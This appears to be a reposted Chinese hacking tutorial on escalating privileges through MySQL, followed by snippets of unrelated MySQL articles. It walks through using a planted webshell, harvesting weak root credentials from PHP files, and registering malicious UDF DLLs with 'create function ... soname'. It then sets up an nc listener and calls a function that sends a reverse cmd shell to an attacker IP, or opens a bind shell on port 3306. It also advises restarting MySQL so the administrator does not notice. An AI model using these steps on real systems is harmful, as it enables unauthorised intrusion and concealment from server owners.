mysql简单提权
S- serv提权方式人人都会用了，搞得现在的主机都配置得非常安全，看来攻击手法的层出不穷也是造成中国网络安全进步的一大原因之一，还有其他的 pcanywhere获取密码，替换服务，等等。但是现在也没这么好搞了，随着安全意识的提高，之前的方式估计不怎么管用，现在我给大家介绍一下一种新的提权方式，看过古典LM做的那动画的朋友都知道吧？利用MYSQLl弱口令拿到系统权限，在WEBSHEL上也可实现，不过有个前提，就是目标主机装有 MYSQL，而你又知道MYSQL的用户和密码，才可以进行提权。WEBSHELL获得了，找用户和密码也不是什么难事。现在我拿我另外一台机器做示范，已经把PHPSHELL传上去了,一般来说连接MYSQL的帐户密码很好找，随便编辑一个PHP文件，就看到了。
看到了吧，用户名：root 密码：123456 库名：php 然后怎么办呢？先用SQL Query 建立连接，哈连接成功了，现在开始将我们的提权用滴东东:Mix.dll My_udf.dll上传上去先.OK，传好了，Mix.dll用于反弹连接，My_udf.dll是正向连接，直接用连接对方的3306端口然后输入密码就可获得CMDSHELL。好，不多说了，传上去之后呢就执行以下SQL语句
create function Mixconnect returns string soname 'd:\\php\\php\\Mix.dll'; //my_udf.dll
来注册函数.
出现SQL语句成功执行！
离拿到CMDSHELL已经不远了，我们先用NC在本地监听一个端口先，Nc -l -p 1234 （这个我想不用截图了吧）而后执行语句：
select Mixconnect('192.168.1.520','1234');
来激活那个函数，执行成功，然后看看我们的NC有反映没,成功得到CMSHELL，不过这时对方的MYSQL已经假死咯，我们要把MYSQL服务进程给 kill掉，然后重新启动MYSQL服务才行，不然管理员发现网站运行不了了，那就。。。。如果该服务器不允许连接任何外部IP和端口，而他的3306端口却是对外开的！这时My_udf.dll就该上场了，使用方法和Mix一样，连接MYSQL成功后执行如下语句：
create function my_udfdoor returns string soname 'D:\\php\\php\my_udf.dll';
执行语句成功后，然后我们就开始激活这个函数，输入语句：
select my_udfdoor ('');
然后用nc连接3306端口,然后输入fuck 就可以得到一个cmdshell了.
相关文档：
转自http://www.phpvim.net/windows/build-mysql-client-on-cygwin.html
MinTTY 是一个小巧但却很实用的 Cygwin 终端机，但有个严重的问题就是无法调用交互性的 Windows 原生程序，比如说
mysql.exe，当你在 MinTTY 中输入如下的命令：
1
$ mysql -uroot
-p
本来 mysql.exe 会提示输入密码，但在 MinTTY 中程序会直 ......
MySQL是一个真正的多用户、多线程SQL数据库服务器。MySQL是以一个客户机/服务器结构的实现，它由一个服务器守护程序mysqld和很多不同的客户程序和库组成。由于其源码的开放性及稳定性，且与网站流行编 挥镅 PHP的完美结合，现在很多站点都利用其当作后端数据库，使其获得了广泛应用。处于安全方面的考虑，需要为每一用户� ......
MySQL的数据表类型很多，MySQL一共向用户提供了包括DBD、HEAP、ISAM、MERGE、MyIAS、InnoDB以及Gemeni这7种表。其中DBD、InnoDB属于事务安全类表，而其他属于事务非安全类表。
DBD
Berkeley DB(DBD)表是支持事务处理的表，由Sleepycat软件公司开发。它提供MySQL用户期待已久的功能--事务控制。事务控制在任何数据库系统中 ......
源地址: http://www.pcppc.cn/shujuku/mysql/shujuku_163919.html
您正在看的MySQL教程是:MySQL数据库学习笔记。
MySQL数据库学习笔记
(实验环境:Redhat9.0,MySQL3.23.54)
纲要：
一，连接MySQL
二，MySQL管理与授权
三，数据库简单操作
四, ......
今天在帮朋友调试一个关于多线程访问同一张表引起的Lock wait timeout exceede的问题，感觉引起的原因有：
1，没有进行优化，尽量避免多线程
2，根据它后面报的异常，提醒我可以Hibernate 的Session没有使用得当，(也是我解决的方案)
3，用synchronized修饰更新表的函数
估计是原来程序在修改完该表时立刻进行了插入操� ......
